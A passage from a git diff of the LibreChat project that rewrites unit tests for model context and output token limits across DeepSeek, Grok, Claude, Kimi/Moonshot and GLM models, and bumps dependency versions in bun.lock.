maxTokensMap[EModelEndpoint.openAI]['deepseek-reasoner'], + ); + expect(getModelMaxTokens('deepseek-r1')).toBe( + maxTokensMap[EModelEndpoint.openAI]['deepseek-r1'], + ); + expect(getModelMaxTokens('deepseek-v3')).toBe( + maxTokensMap[EModelEndpoint.openAI]['deepseek'], + ); + expect(getModelMaxTokens('deepseek.r1')).toBe( + maxTokensMap[EModelEndpoint.openAI]['deepseek.r1'], + ); }); test('should handle DeepSeek models with provider prefixes', () => { - expect(getModelMaxTokens('deepseek/deepseek-chat')).toBe(128000); - expect(getModelMaxTokens('openrouter/deepseek-reasoner')).toBe(128000); - expect(getModelMaxTokens('openai/deepseek-v3')).toBe(128000); + expect(getModelMaxTokens('deepseek/deepseek-chat')).toBe( + maxTokensMap[EModelEndpoint.openAI]['deepseek-chat'], + ); + expect(getModelMaxTokens('openrouter/deepseek-reasoner')).toBe( + maxTokensMap[EModelEndpoint.openAI]['deepseek-reasoner'], + ); + expect(getModelMaxTokens('openai/deepseek-v3')).toBe( + maxTokensMap[EModelEndpoint.openAI]['deepseek'], + ); }); }); @@ -728,30 +962,38 @@ describe('Meta Models Tests', () => { const { getModelMaxOutputTokens } = require('@librechat/api'); test('should return correct max output tokens for deepseek-chat', () => { - expect(getModelMaxOutputTokens('deepseek-chat')).toBe(8000); - expect(getModelMaxOutputTokens('deepseek-chat', EModelEndpoint.openAI)).toBe(8000); - expect(getModelMaxOutputTokens('deepseek-chat', EModelEndpoint.custom)).toBe(8000); + const expected = maxOutputTokensMap[EModelEndpoint.openAI]['deepseek-chat']; + expect(getModelMaxOutputTokens('deepseek-chat')).toBe(expected); + expect(getModelMaxOutputTokens('deepseek-chat', EModelEndpoint.openAI)).toBe(expected); + expect(getModelMaxOutputTokens('deepseek-chat', EModelEndpoint.custom)).toBe(expected); }); test('should return correct max output tokens for deepseek-reasoner', () => { - expect(getModelMaxOutputTokens('deepseek-reasoner')).toBe(64000); - expect(getModelMaxOutputTokens('deepseek-reasoner', EModelEndpoint.openAI)).toBe(64000); - expect(getModelMaxOutputTokens('deepseek-reasoner', EModelEndpoint.custom)).toBe(64000); + const expected = maxOutputTokensMap[EModelEndpoint.openAI]['deepseek-reasoner']; + expect(getModelMaxOutputTokens('deepseek-reasoner')).toBe(expected); + expect(getModelMaxOutputTokens('deepseek-reasoner', EModelEndpoint.openAI)).toBe(expected); + expect(getModelMaxOutputTokens('deepseek-reasoner', EModelEndpoint.custom)).toBe(expected); }); test('should return correct max output tokens for deepseek-r1', () => { - expect(getModelMaxOutputTokens('deepseek-r1')).toBe(64000); - expect(getModelMaxOutputTokens('deepseek-r1', EModelEndpoint.openAI)).toBe(64000); + const expected = maxOutputTokensMap[EModelEndpoint.openAI]['deepseek-r1']; + expect(getModelMaxOutputTokens('deepseek-r1')).toBe(expected); + expect(getModelMaxOutputTokens('deepseek-r1', EModelEndpoint.openAI)).toBe(expected); }); test('should return correct max output tokens for deepseek base pattern', () => { - expect(getModelMaxOutputTokens('deepseek')).toBe(8000); - expect(getModelMaxOutputTokens('deepseek-v3')).toBe(8000); + const expected = maxOutputTokensMap[EModelEndpoint.openAI]['deepseek']; + expect(getModelMaxOutputTokens('deepseek')).toBe(expected); + expect(getModelMaxOutputTokens('deepseek-v3')).toBe(expected); }); test('should handle DeepSeek models with provider prefixes for max output tokens', () => { - expect(getModelMaxOutputTokens('deepseek/deepseek-chat')).toBe(8000); - expect(getModelMaxOutputTokens('openrouter/deepseek-reasoner')).toBe(64000); + expect(getModelMaxOutputTokens('deepseek/deepseek-chat')).toBe( + maxOutputTokensMap[EModelEndpoint.openAI]['deepseek-chat'], + ); + expect(getModelMaxOutputTokens('openrouter/deepseek-reasoner')).toBe( + maxOutputTokensMap[EModelEndpoint.openAI]['deepseek-reasoner'], + ); }); }); @@ -796,68 +1038,90 @@ describe('Meta Models Tests', () => { describe('Grok Model Tests - Tokens', () => { describe('getModelMaxTokens', () => { test('should return correct tokens for Grok vision models', () => { - expect(getModelMaxTokens('grok-2-vision-1212')).toBe(32768); - expect(getModelMaxTokens('grok-2-vision')).toBe(32768); - expect(getModelMaxTokens('grok-2-vision-latest')).toBe(32768); + const grok2VisionTokens = maxTokensMap[EModelEndpoint.openAI]['grok-2-vision']; + expect(getModelMaxTokens('grok-2-vision-1212')).toBe(grok2VisionTokens); + expect(getModelMaxTokens('grok-2-vision')).toBe(grok2VisionTokens); + expect(getModelMaxTokens('grok-2-vision-latest')).toBe(grok2VisionTokens); }); test('should return correct tokens for Grok beta models', () => { - expect(getModelMaxTokens('grok-vision-beta')).toBe(8192); - expect(getModelMaxTokens('grok-beta')).toBe(131072); + expect(getModelMaxTokens('grok-vision-beta')).toBe( + maxTokensMap[EModelEndpoint.openAI]['grok-vision-beta'], + ); + expect(getModelMaxTokens('grok-beta')).toBe(maxTokensMap[EModelEndpoint.openAI]['grok-beta']); }); test('should return correct tokens for Grok text models', () => { - expect(getModelMaxTokens('grok-2-1212')).toBe(131072); - expect(getModelMaxTokens('grok-2')).toBe(131072); - expect(getModelMaxTokens('grok-2-latest')).toBe(131072); + const grok2Tokens = maxTokensMap[EModelEndpoint.openAI]['grok-2']; + expect(getModelMaxTokens('grok-2-1212')).toBe(grok2Tokens); + expect(getModelMaxTokens('grok-2')).toBe(grok2Tokens); + expect(getModelMaxTokens('grok-2-latest')).toBe(grok2Tokens); }); test('should return correct tokens for Grok 3 series models', () => { - expect(getModelMaxTokens('grok-3')).toBe(131072); - expect(getModelMaxTokens('grok-3-fast')).toBe(131072); - expect(getModelMaxTokens('grok-3-mini')).toBe(131072); - expect(getModelMaxTokens('grok-3-mini-fast')).toBe(131072); + expect(getModelMaxTokens('grok-3')).toBe(maxTokensMap[EModelEndpoint.openAI]['grok-3']); + expect(getModelMaxTokens('grok-3-fast')).toBe( + maxTokensMap[EModelEndpoint.openAI]['grok-3-fast'], + ); + expect(getModelMaxTokens('grok-3-mini')).toBe( + maxTokensMap[EModelEndpoint.openAI]['grok-3-mini'], + ); + expect(getModelMaxTokens('grok-3-mini-fast')).toBe( + maxTokensMap[EModelEndpoint.openAI]['grok-3-mini-fast'], + ); }); test('should return correct tokens for Grok 4 model', () => { - expect(getModelMaxTokens('grok-4-0709')).toBe(256000); + expect(getModelMaxTokens('grok-4-0709')).toBe(maxTokensMap[EModelEndpoint.openAI]['grok-4']); }); test('should return correct tokens for Grok 4 Fast and Grok 4.1 Fast models', () => { - expect(getModelMaxTokens('grok-4-fast')).toBe(2000000); - expect(getModelMaxTokens('grok-4-1-fast-reasoning')).toBe(2000000); - expect(getModelMaxTokens('grok-4-1-fast-non-reasoning')).toBe(2000000); + const grok4FastTokens = maxTokensMap[EModelEndpoint.openAI]['grok-4-fast']; + const grok41FastTokens = maxTokensMap[EModelEndpoint.openAI]['grok-4-1-fast']; + expect(getModelMaxTokens('grok-4-fast')).toBe(grok4FastTokens); + expect(getModelMaxTokens('grok-4-1-fast-reasoning')).toBe(grok41FastTokens); + expect(getModelMaxTokens('grok-4-1-fast-non-reasoning')).toBe(grok41FastTokens); }); test('should return correct tokens for Grok Code Fast model', () => { - expect(getModelMaxTokens('grok-code-fast-1')).toBe(256000); + expect(getModelMaxTokens('grok-code-fast-1')).toBe( + maxTokensMap[EModelEndpoint.openAI]['grok-code-fast'], + ); }); test('should handle partial matches for Grok models with prefixes', () => { - // Vision models should match before general models - expect(getModelMaxTokens('xai/grok-2-vision-1212')).toBe(32768); - expect(getModelMaxTokens('xai/grok-2-vision')).toBe(32768); - expect(getModelMaxTokens('xai/grok-2-vision-latest')).toBe(32768); - // Beta models - expect(getModelMaxTokens('xai/grok-vision-beta')).toBe(8192); - expect(getModelMaxTokens('xai/grok-beta')).toBe(131072); - // Text models - expect(getModelMaxTokens('xai/grok-2-1212')).toBe(131072); - expect(getModelMaxTokens('xai/grok-2')).toBe(131072); - expect(getModelMaxTokens('xai/grok-2-latest')).toBe(131072); - // Grok 3 models - expect(getModelMaxTokens('xai/grok-3')).toBe(131072); - expect(getModelMaxTokens('xai/grok-3-fast')).toBe(131072); - expect(getModelMaxTokens('xai/grok-3-mini')).toBe(131072); - expect(getModelMaxTokens('xai/grok-3-mini-fast')).toBe(131072); - // Grok 4 model - expect(getModelMaxTokens('xai/grok-4-0709')).toBe(256000); - // Grok 4 Fast and 4.1 Fast models - expect(getModelMaxTokens('xai/grok-4-fast')).toBe(2000000); - expect(getModelMaxTokens('xai/grok-4-1-fast-reasoning')).toBe(2000000); - expect(getModelMaxTokens('xai/grok-4-1-fast-non-reasoning')).toBe(2000000); - // Grok Code Fast model - expect(getModelMaxTokens('xai/grok-code-fast-1')).toBe(256000); + const grok2VisionTokens = maxTokensMap[EModelEndpoint.openAI]['grok-2-vision']; + const grokVisionBetaTokens = maxTokensMap[EModelEndpoint.openAI]['grok-vision-beta']; + const grokBetaTokens = maxTokensMap[EModelEndpoint.openAI]['grok-beta']; + const grok2Tokens = maxTokensMap[EModelEndpoint.openAI]['grok-2']; + const grok3Tokens = maxTokensMap[EModelEndpoint.openAI]['grok-3']; + const grok4Tokens = maxTokensMap[EModelEndpoint.openAI]['grok-4']; + const grok4FastTokens = maxTokensMap[EModelEndpoint.openAI]['grok-4-fast']; + const grok41FastTokens = maxTokensMap[EModelEndpoint.openAI]['grok-4-1-fast']; + const grokCodeFastTokens = maxTokensMap[EModelEndpoint.openAI]['grok-code-fast']; + expect(getModelMaxTokens('xai/grok-2-vision-1212')).toBe(grok2VisionTokens); + expect(getModelMaxTokens('xai/grok-2-vision')).toBe(grok2VisionTokens); + expect(getModelMaxTokens('xai/grok-2-vision-latest')).toBe(grok2VisionTokens); + expect(getModelMaxTokens('xai/grok-vision-beta')).toBe(grokVisionBetaTokens); + expect(getModelMaxTokens('xai/grok-beta')).toBe(grokBetaTokens); + expect(getModelMaxTokens('xai/grok-2-1212')).toBe(grok2Tokens); + expect(getModelMaxTokens('xai/grok-2')).toBe(grok2Tokens); + expect(getModelMaxTokens('xai/grok-2-latest')).toBe(grok2Tokens); + expect(getModelMaxTokens('xai/grok-3')).toBe(grok3Tokens); + expect(getModelMaxTokens('xai/grok-3-fast')).toBe( + maxTokensMap[EModelEndpoint.openAI]['grok-3-fast'], + ); + expect(getModelMaxTokens('xai/grok-3-mini')).toBe( + maxTokensMap[EModelEndpoint.openAI]['grok-3-mini'], + ); + expect(getModelMaxTokens('xai/grok-3-mini-fast')).toBe( + maxTokensMap[EModelEndpoint.openAI]['grok-3-mini-fast'], + ); + expect(getModelMaxTokens('xai/grok-4-0709')).toBe(grok4Tokens); + expect(getModelMaxTokens('xai/grok-4-fast')).toBe(grok4FastTokens); + expect(getModelMaxTokens('xai/grok-4-1-fast-reasoning')).toBe(grok41FastTokens); + expect(getModelMaxTokens('xai/grok-4-1-fast-non-reasoning')).toBe(grok41FastTokens); + expect(getModelMaxTokens('xai/grok-code-fast-1')).toBe(grokCodeFastTokens); }); }); @@ -1062,46 +1326,251 @@ describe('Claude Model Tests', () => { expect(matchModelName(model, EModelEndpoint.anthropic)).toBe(expectedModel); }); }); + + it('should return correct context length for Claude Opus 4.6 (1M)', () => { + expect(getModelMaxTokens('claude-opus-4-6', EModelEndpoint.anthropic)).toBe( + maxTokensMap[EModelEndpoint.anthropic]['claude-opus-4-6'], + ); + expect(getModelMaxTokens('claude-opus-4-6')).toBe( + maxTokensMap[EModelEndpoint.anthropic]['claude-opus-4-6'], + ); + }); + + it('should return correct max output tokens for Claude Opus 4.6 (128K)', () => { + const { getModelMaxOutputTokens } = require('@librechat/api'); + expect(getModelMaxOutputTokens('claude-opus-4-6', EModelEndpoint.anthropic)).toBe( + maxOutputTokensMap[EModelEndpoint.anthropic]['claude-opus-4-6'], + ); + }); + + it('should handle Claude Opus 4.6 model name variations', () => { + const modelVariations = [ + 'claude-opus-4-6', + 'claude-opus-4-6-20250801', + 'claude-opus-4-6-latest', + 'anthropic/claude-opus-4-6', + 'claude-opus-4-6/anthropic', + 'claude-opus-4-6-preview', + ]; + + modelVariations.forEach((model) => { + const modelKey = findMatchingPattern(model, maxTokensMap[EModelEndpoint.anthropic]); + expect(modelKey).toBe('claude-opus-4-6'); + expect(getModelMaxTokens(model, EModelEndpoint.anthropic)).toBe( + maxTokensMap[EModelEndpoint.anthropic]['claude-opus-4-6'], + ); + }); + }); + + it('should match model names correctly for Claude Opus 4.6', () => { + const modelVariations = [ + 'claude-opus-4-6', + 'claude-opus-4-6-20250801', + 'claude-opus-4-6-latest', + 'anthropic/claude-opus-4-6', + 'claude-opus-4-6/anthropic', + 'claude-opus-4-6-preview', + ]; + + modelVariations.forEach((model) => { + expect(matchModelName(model, EModelEndpoint.anthropic)).toBe('claude-opus-4-6'); + }); + }); + + it('should return correct context length for Claude Sonnet 4.6 (1M)', () => { + expect(getModelMaxTokens('claude-sonnet-4-6', EModelEndpoint.anthropic)).toBe( + maxTokensMap[EModelEndpoint.anthropic]['claude-sonnet-4-6'], + ); + expect(getModelMaxTokens('claude-sonnet-4-6')).toBe( + maxTokensMap[EModelEndpoint.anthropic]['claude-sonnet-4-6'], + ); + }); + + it('should return correct max output tokens for Claude Sonnet 4.6 (64K)', () => { + const { getModelMaxOutputTokens } = require('@librechat/api'); + expect(getModelMaxOutputTokens('claude-sonnet-4-6', EModelEndpoint.anthropic)).toBe( + maxOutputTokensMap[EModelEndpoint.anthropic]['claude-sonnet-4-6'], + ); + }); + + it('should handle Claude Sonnet 4.6 model name variations', () => { + const modelVariations = [ + 'claude-sonnet-4-6', + 'claude-sonnet-4-6-20260101', + 'claude-sonnet-4-6-latest', + 'anthropic/claude-sonnet-4-6', + 'claude-sonnet-4-6/anthropic', + 'claude-sonnet-4-6-preview', + ]; + + modelVariations.forEach((model) => { + const modelKey = findMatchingPattern(model, maxTokensMap[EModelEndpoint.anthropic]); + expect(modelKey).toBe('claude-sonnet-4-6'); + expect(getModelMaxTokens(model, EModelEndpoint.anthropic)).toBe( + maxTokensMap[EModelEndpoint.anthropic]['claude-sonnet-4-6'], + ); + }); + }); + + it('should match model names correctly for Claude Sonnet 4.6', () => { + const modelVariations = [ + 'claude-sonnet-4-6', + 'claude-sonnet-4-6-20260101', + 'claude-sonnet-4-6-latest', + 'anthropic/claude-sonnet-4-6', + 'claude-sonnet-4-6/anthropic', + 'claude-sonnet-4-6-preview', + ]; + + modelVariations.forEach((model) => { + expect(matchModelName(model, EModelEndpoint.anthropic)).toBe('claude-sonnet-4-6'); + }); + }); }); -describe('Kimi Model Tests', () => { +describe('Moonshot/Kimi Model Tests', () => { describe('getModelMaxTokens', () => { - test('should return correct tokens for Kimi models', () => { - expect(getModelMaxTokens('kimi')).toBe(131000); - expect(getModelMaxTokens('kimi-k2')).toBe(131000); - expect(getModelMaxTokens('kimi-vl')).toBe(131000); + test('should return correct tokens for kimi-k2.5 (multi-modal)', () => { + expect(getModelMaxTokens('kimi-k2.5')).toBe(maxTokensMap[EModelEndpoint.openAI]['kimi-k2.5']); + expect(getModelMaxTokens('kimi-k2.5-latest')).toBe( + maxTokensMap[EModelEndpoint.openAI]['kimi-k2.5'], + ); }); - test('should return correct tokens for Kimi models with provider prefix', () => { - expect(getModelMaxTokens('moonshotai/kimi-k2')).toBe(131000); - expect(getModelMaxTokens('moonshotai/kimi')).toBe(131000); - expect(getModelMaxTokens('moonshotai/kimi-vl')).toBe(131000); + test('should return correct tokens for kimi-k2 series models', () => { + expect(getModelMaxTokens('kimi')).toBe(maxTokensMap[EModelEndpoint.openAI]['kimi']); + expect(getModelMaxTokens('kimi-k2')).toBe(maxTokensMap[EModelEndpoint.openAI]['kimi-k2']); + expect(getModelMaxTokens('kimi-k2-turbo')).toBe( + maxTokensMap[EModelEndpoint.openAI]['kimi-k2-turbo'], + ); + expect(getModelMaxTokens('kimi-k2-turbo-preview')).toBe( + maxTokensMap[EModelEndpoint.openAI]['kimi-k2-turbo-preview'], + ); + expect(getModelMaxTokens('kimi-k2-0905')).toBe( + maxTokensMap[EModelEndpoint.openAI]['kimi-k2-0905'], + ); + expect(getModelMaxTokens('kimi-k2-0905-preview')).toBe( + maxTokensMap[EModelEndpoint.openAI]['kimi-k2-0905-preview'], + ); + expect(getModelMaxTokens('kimi-k2-thinking')).toBe( + maxTokensMap[EModelEndpoint.openAI]['kimi-k2-thinking'], + ); + expect(getModelMaxTokens('kimi-k2-thinking-turbo')).toBe( + maxTokensMap[EModelEndpoint.openAI]['kimi-k2-thinking-turbo'], + ); }); - test('should handle partial matches for Kimi models', () => { - expect(getModelMaxTokens('kimi-k2-latest')).toBe(131000); - expect(getModelMaxTokens('kimi-vl-preview')).toBe(131000); - expect(getModelMaxTokens('kimi-2024')).toBe(131000); + test('should return correct tokens for kimi-k2-0711 (smaller context)', () => { + expect(getModelMaxTokens('kimi-k2-0711')).toBe( + maxTokensMap[EModelEndpoint.openAI]['kimi-k2-0711'], + ); + expect(getModelMaxTokens('kimi-k2-0711-preview')).toBe( + maxTokensMap[EModelEndpoint.openAI]['kimi-k2-0711-preview'], + ); + }); + + test('should return correct tokens for kimi-latest', () => { + expect(getModelMaxTokens('kimi-latest')).toBe( + maxTokensMap[EModelEndpoint.openAI]['kimi-latest'], + ); + }); + + test('should return correct tokens for moonshot-v1 series models', () => { + expect(getModelMaxTokens('moonshot')).toBe(maxTokensMap[EModelEndpoint.openAI]['moonshot']); + expect(getModelMaxTokens('moonshot-v1')).toBe( + maxTokensMap[EModelEndpoint.openAI]['moonshot-v1'], + ); + expect(getModelMaxTokens('moonshot-v1-auto')).toBe( + maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-auto'], + ); + expect(getModelMaxTokens('moonshot-v1-8k')).toBe( + maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-8k'], + ); + expect(getModelMaxTokens('moonshot-v1-8k-vision')).toBe( + maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-8k-vision'], + ); + expect(getModelMaxTokens('moonshot-v1-8k-vision-preview')).toBe( + maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-8k-vision-preview'], + ); + expect(getModelMaxTokens('moonshot-v1-32k')).toBe( + maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-32k'], + ); + expect(getModelMaxTokens('moonshot-v1-32k-vision')).toBe( + maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-32k-vision'], + ); + expect(getModelMaxTokens('moonshot-v1-32k-vision-preview')).toBe( + maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-32k-vision-preview'], + ); + expect(getModelMaxTokens('moonshot-v1-128k')).toBe( + maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-128k'], + ); + expect(getModelMaxTokens('moonshot-v1-128k-vision')).toBe( + maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-128k-vision'], + ); + expect(getModelMaxTokens('moonshot-v1-128k-vision-preview')).toBe( + maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-128k-vision-preview'], + ); + }); + + test('should return correct tokens for Bedrock moonshot models', () => { + expect(getModelMaxTokens('moonshot.kimi', EModelEndpoint.bedrock)).toBe( + maxTokensMap[EModelEndpoint.bedrock]['moonshot.kimi'], + ); + expect(getModelMaxTokens('moonshot.kimi-k2', EModelEndpoint.bedrock)).toBe( + maxTokensMap[EModelEndpoint.bedrock]['moonshot.kimi-k2'], + ); + expect(getModelMaxTokens('moonshot.kimi-k2.5', EModelEndpoint.bedrock)).toBe( + maxTokensMap[EModelEndpoint.bedrock]['moonshot.kimi-k2.5'], + ); + expect(getModelMaxTokens('moonshot.kimi-k2-thinking', EModelEndpoint.bedrock)).toBe( + maxTokensMap[EModelEndpoint.bedrock]['moonshot.kimi-k2-thinking'], + ); + expect(getModelMaxTokens('moonshot.kimi-k2-0711', EModelEndpoint.bedrock)).toBe( + maxTokensMap[EModelEndpoint.bedrock]['moonshot.kimi-k2-0711'], + ); + }); + + test('should handle Moonshot/Kimi models with provider prefixes', () => { + expect(getModelMaxTokens('openrouter/kimi-k2')).toBe( + maxTokensMap[EModelEndpoint.openAI]['kimi-k2'], + ); + expect(getModelMaxTokens('openrouter/kimi-k2.5')).toBe( + maxTokensMap[EModelEndpoint.openAI]['kimi-k2.5'], + ); + expect(getModelMaxTokens('openrouter/kimi-k2-turbo')).toBe( + maxTokensMap[EModelEndpoint.openAI]['kimi-k2-turbo'], + ); + expect(getModelMaxTokens('openrouter/moonshot-v1-128k')).toBe( + maxTokensMap[EModelEndpoint.openAI]['moonshot-v1-128k'], + ); }); }); describe('matchModelName', () => { test('should match exact Kimi model names', () => { expect(matchModelName('kimi')).toBe('kimi'); - expect(matchModelName('kimi-k2')).toBe('kimi'); - expect(matchModelName('kimi-vl')).toBe('kimi'); + expect(matchModelName('kimi-k2')).toBe('kimi-k2'); + expect(matchModelName('kimi-k2.5')).toBe('kimi-k2.5'); + expect(matchModelName('kimi-k2-turbo')).toBe('kimi-k2-turbo'); + expect(matchModelName('kimi-k2-0711')).toBe('kimi-k2-0711'); + }); + + test('should match moonshot model names', () => { + expect(matchModelName('moonshot')).toBe('moonshot'); + expect(matchModelName('moonshot-v1-8k')).toBe('moonshot-v1-8k'); + expect(matchModelName('moonshot-v1-32k')).toBe('moonshot-v1-32k'); + expect(matchModelName('moonshot-v1-128k')).toBe('moonshot-v1-128k'); }); test('should match Kimi model variations with provider prefix', () => { - expect(matchModelName('moonshotai/kimi')).toBe('kimi'); - expect(matchModelName('moonshotai/kimi-k2')).toBe('kimi'); - expect(matchModelName('moonshotai/kimi-vl')).toBe('kimi'); + expect(matchModelName('openrouter/kimi')).toBe('kimi'); + expect(matchModelName('openrouter/kimi-k2')).toBe('kimi-k2'); + expect(matchModelName('openrouter/kimi-k2.5')).toBe('kimi-k2.5'); }); test('should match Kimi model variations with suffixes', () => { - expect(matchModelName('kimi-k2-latest')).toBe('kimi'); - expect(matchModelName('kimi-vl-preview')).toBe('kimi'); - expect(matchModelName('kimi-2024')).toBe('kimi'); + expect(matchModelName('kimi-k2-latest')).toBe('kimi-k2'); + expect(matchModelName('kimi-k2.5-preview')).toBe('kimi-k2.5'); }); }); }); @@ -1224,44 +1693,80 @@ describe('Qwen3 Model Tests', () => { describe('GLM Model Tests (Zhipu AI)', () => { describe('getModelMaxTokens', () => { test('should return correct tokens for GLM models', () => { - expect(getModelMaxTokens('glm-4.6')).toBe(200000); - expect(getModelMaxTokens('glm-4.5v')).toBe(66000); - expect(getModelMaxTokens('glm-4.5-air')).toBe(131000); - expect(getModelMaxTokens('glm-4.5')).toBe(131000); - expect(getModelMaxTokens('glm-4-32b')).toBe(128000); - expect(getModelMaxTokens('glm-4')).toBe(128000); - expect(getModelMaxTokens('glm4')).toBe(128000); + expect(getModelMaxTokens('glm-4.6')).toBe(maxTokensMap[EModelEndpoint.openAI]['glm-4.6']); + expect(getModelMaxTokens('glm-4.5v')).toBe(maxTokensMap[EModelEndpoint.openAI]['glm-4.5v']); + expect(getModelMaxTokens('glm-4.5-air')).toBe( + maxTokensMap[EModelEndpoint.openAI]['glm-4.5-air'], + ); + expect(getModelMaxTokens('glm-4.5')).toBe(maxTokensMap[EModelEndpoint.openAI]['glm-4.5']); + expect(getModelMaxTokens('glm-4-32b')).toBe(maxTokensMap[EModelEndpoint.openAI]['glm-4-32b']); + expect(getModelMaxTokens('glm-4')).toBe(maxTokensMap[EModelEndpoint.openAI]['glm-4']); + expect(getModelMaxTokens('glm4')).toBe(maxTokensMap[EModelEndpoint.openAI]['glm4']); }); test('should handle partial matches for GLM models with provider prefixes', () => { - expect(getModelMaxTokens('z-ai/glm-4.6')).toBe(200000); - expect(getModelMaxTokens('z-ai/glm-4.5')).toBe(131000); - expect(getModelMaxTokens('z-ai/glm-4.5-air')).toBe(131000); - expect(getModelMaxTokens('z-ai/glm-4.5v')).toBe(66000); - expect(getModelMaxTokens('z-ai/glm-4-32b')).toBe(128000); + expect(getModelMaxTokens('z-ai/glm-4.6')).toBe( + maxTokensMap[EModelEndpoint.openAI]['glm-4.6'], + ); + expect(getModelMaxTokens('z-ai/glm-4.5')).toBe( + maxTokensMap[EModelEndpoint.openAI]['glm-4.5'], + ); + expect(getModelMaxTokens('z-ai/glm-4.5-air')).toBe( + maxTokensMap[EModelEndpoint.openAI]['glm-4.5-air'], + ); + expect(getModelMaxTokens('z-ai/glm-4.5v')).toBe( + maxTokensMap[EModelEndpoint.openAI]['glm-4.5v'], + ); + expect(getModelMaxTokens('z-ai/glm-4-32b')).toBe( + maxTokensMap[EModelEndpoint.openAI]['glm-4-32b'], + ); - expect(getModelMaxTokens('zai/glm-4.6')).toBe(200000); - expect(getModelMaxTokens('zai/glm-4.5')).toBe(131000); - expect(getModelMaxTokens('zai/glm-4.5-air')).toBe(131000); - expect(getModelMaxTokens('zai/glm-4.5v')).toBe(66000); + expect(getModelMaxTokens('zai/glm-4.6')).toBe(maxTokensMap[EModelEndpoint.openAI]['glm-4.6']); + expect(getModelMaxTokens('zai/glm-4.5')).toBe(maxTokensMap[EModelEndpoint.openAI]['glm-4.5']); + expect(getModelMaxTokens('zai/glm-4.5-air')).toBe( + maxTokensMap[EModelEndpoint.openAI]['glm-4.5-air'], + ); + expect(getModelMaxTokens('zai/glm-4.5v')).toBe( + maxTokensMap[EModelEndpoint.openAI]['glm-4.5v'], + ); - expect(getModelMaxTokens('zai-org/GLM-4.6')).toBe(200000); - expect(getModelMaxTokens('zai-org/GLM-4.5')).toBe(131000); - expect(getModelMaxTokens('zai-org/GLM-4.5-Air')).toBe(131000); - expect(getModelMaxTokens('zai-org/GLM-4.5V')).toBe(66000); - expect(getModelMaxTokens('zai-org/GLM-4-32B-0414')).toBe(128000); + expect(getModelMaxTokens('zai-org/GLM-4.6')).toBe( + maxTokensMap[EModelEndpoint.openAI]['glm-4.6'], + ); + expect(getModelMaxTokens('zai-org/GLM-4.5')).toBe( + maxTokensMap[EModelEndpoint.openAI]['glm-4.5'], + ); + expect(getModelMaxTokens('zai-org/GLM-4.5-Air')).toBe( + maxTokensMap[EModelEndpoint.openAI]['glm-4.5-air'], + ); + expect(getModelMaxTokens('zai-org/GLM-4.5V')).toBe( + maxTokensMap[EModelEndpoint.openAI]['glm-4.5v'], + ); + expect(getModelMaxTokens('zai-org/GLM-4-32B-0414')).toBe( + maxTokensMap[EModelEndpoint.openAI]['glm-4-32b'], + ); }); test('should handle GLM model variations with suffixes', () => { - expect(getModelMaxTokens('glm-4.6-fp8')).toBe(200000); - expect(getModelMaxTokens('zai-org/GLM-4.6-FP8')).toBe(200000); - expect(getModelMaxTokens('zai-org/GLM-4.5-Air-FP8')).toBe(131000); + expect(getModelMaxTokens('glm-4.6-fp8')).toBe(maxTokensMap[EModelEndpoint.openAI]['glm-4.6']); + expect(getModelMaxTokens('zai-org/GLM-4.6-FP8')).toBe( + maxTokensMap[EModelEndpoint.openAI]['glm-4.6'], + ); + expect(getModelMaxTokens('zai-org/GLM-4.5-Air-FP8')).toBe( + maxTokensMap[EModelEndpoint.openAI]['glm-4.5-air'], + ); }); test('should prioritize more specific GLM patterns', () => { - expect(getModelMaxTokens('glm-4.5-air-custom')).toBe(131000); - expect(getModelMaxTokens('glm-4.5-custom')).toBe(131000); - expect(getModelMaxTokens('glm-4.5v-custom')).toBe(66000); + expect(getModelMaxTokens('glm-4.5-air-custom')).toBe( + maxTokensMap[EModelEndpoint.openAI]['glm-4.5-air'], + ); + expect(getModelMaxTokens('glm-4.5-custom')).toBe( + maxTokensMap[EModelEndpoint.openAI]['glm-4.5'], + ); + expect(getModelMaxTokens('glm-4.5v-custom')).toBe( + maxTokensMap[EModelEndpoint.openAI]['glm-4.5v'], + ); }); }); diff --git a/bun.lock b/bun.lock index 600a640c87..39d9641ec4 100644 --- a/bun.lock +++ b/bun.lock @@ -7,7 +7,7 @@ "devDependencies": { "@axe-core/playwright": "^4.10.1", "@eslint/compat": "^1.2.6", - "@eslint/eslintrc": "^3.3.1", + "@eslint/eslintrc": "^3.3.4", "@eslint/js": "^9.20.0", "@playwright/test": "^1.56.1", "@types/react-virtualized": "^9.22.0", @@ -31,30 +31,32 @@ "lint-staged": "^15.4.3", "prettier": "^3.5.0", "prettier-plugin-tailwindcss": "^0.6.11", + "turbo": "^2.8.12", "typescript-eslint": "^8.24.0", }, }, "api": { "name": "@librechat/backend", - "version": "0.8.2-rc2", + "version": "0.8.3", "dependencies": { - "@aws-sdk/client-bedrock-runtime": "^3.941.0", - "@aws-sdk/client-s3": "^3.758.0", + "@anthropic-ai/vertex-sdk": "^0.14.3", + "@aws-sdk/client-bedrock-runtime": "^3.980.0", + "@aws-sdk/client-s3": "^3.980.0", "@aws-sdk/s3-request-presigner": "^3.758.0", "@azure/identity": "^4.7.0", "@azure/search-documents": "^12.0.0", - "@azure/storage-blob": "^12.27.0", - "@googleapis/youtube": "^20.0.0", + "@azure/storage-blob": "^12.30.0", + "@google/genai": "^1.19.0", "@keyv/redis": "^4.3.3", - "@langchain/core": "^0.3.79", - "@librechat/agents": "^3.0.50", + "@langchain/core": "^0.3.80", + "@librechat/agents": "^3.1.55", "@librechat/api": "*", "@librechat/data-schemas": "*", "@microsoft/microsoft-graph-client": "^3.0.7", - "@modelcontextprotocol/sdk": "^1.24.3", + "@modelcontextprotocol/sdk": "^1.27.1", "@node-saml/passport-saml": "^5.1.0", "@smithy/node-http-handler": "^4.4.5", - "axios": "^1.12.1", + "axios": "^1.13.5", "bcryptjs": "^2.4.3", "compression": "^1.8.1", "connect-redis": "^8.1.0", @@ -64,9 +66,9 @@ "dedent": "^1.5.3", "dotenv": "^16.0.3", "eventsource": "^3.0.2", - "express": "^5.1.0", + "express": "^5.2.1", "express-mongo-sanitize": "^2.2.0", - "express-rate-limit": "^8.2.1", + "express-rate-limit": "^8.3.0", "express-session": 